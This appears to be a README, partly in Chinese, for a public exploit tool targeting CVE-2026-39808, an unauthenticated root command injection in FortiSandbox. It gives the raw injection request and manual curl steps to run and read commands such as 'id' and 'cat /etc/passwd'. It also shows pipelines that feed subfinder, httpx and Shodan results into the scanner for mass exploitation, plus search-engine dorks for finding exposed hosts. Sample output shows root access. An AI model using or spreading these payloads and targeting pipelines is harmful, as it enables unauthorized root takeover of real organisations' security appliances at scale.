GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

# 验证目标是否存在漏洞（使用金丝雀检测机制）
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

# 在目标上执行特定命令
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

# 仅检查是否存在漏洞，不执行 --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

python3 fortisandbox_rce.py -u https://target.com -o report.json

# 从 URL 列表读取
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → 扫描器
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → 扫描器
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           目标 URL
  --stdin                 从标准输入读取 URL（管道模式）
  --cmd CMD               要执行的操作系统命令（默认：id）
  --verify-only           仅验证漏洞，不执行 --cmd
  --proxy PROXY           HTTP 代理（例如：http://127.0.0.1:8080）
  --timeout TIMEOUT       HTTP 超时时间（秒）（默认：15）
  --rate-limit RATE_LIMIT 目标之间的延迟（毫秒）（默认：0）
  -o, --output FILE       输出 JSON 报告文件
  --no-banner             隐藏横幅

步骤 1  →  检测 FortiSandbox（标题/响应头指纹识别）
步骤 2  →  检查易受攻击的端点是否存在
步骤 3  →  通过命令注入注入唯一金丝雀字符串
步骤 4  →  读取 /ng/out.txt 并验证金丝雀（严格的纯文本验证）
步骤 5  →  执行用户命令 + 清理

  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Unauthenticated Command Injection (root)               ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Endpoint status: 200 | Content-Type: text/html
  ▸ Injecting canary: mitsec_a8k3m2x1
  ▸ Reading output: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
   CRITICAL  Target: https://fortisandbox.example.com
  ✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)

  ──────────────────────────────────────────────────────────
    Command Output: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Output file cleaned up

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ Endpoint returned 404 — not vulnerable or patched

  ▸ Reading output: https://target.com/ng/out.txt
  ⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
  ▸ Content-Type: text/html
  ▸ This is a false positive — /ng/out.txt serves the SPA index.html
  ▸ Target does not appear vulnerable

{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

# 查找存在漏洞的目标并保存
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# 与 nuclei 链式使用进行进一步测试
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# 带速率限制的静默批量扫描
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

services.http.response.html_title:"FortiSandbox"

title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

intitle:"FortiSandbox - Please login"

# 步骤 1：注入命令
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# 步骤 2：读取输出
curl -s -k "https://TARGET/ng/out.txt"
# 预期输出：uid=0(root) gid=0(root) groups=0(root)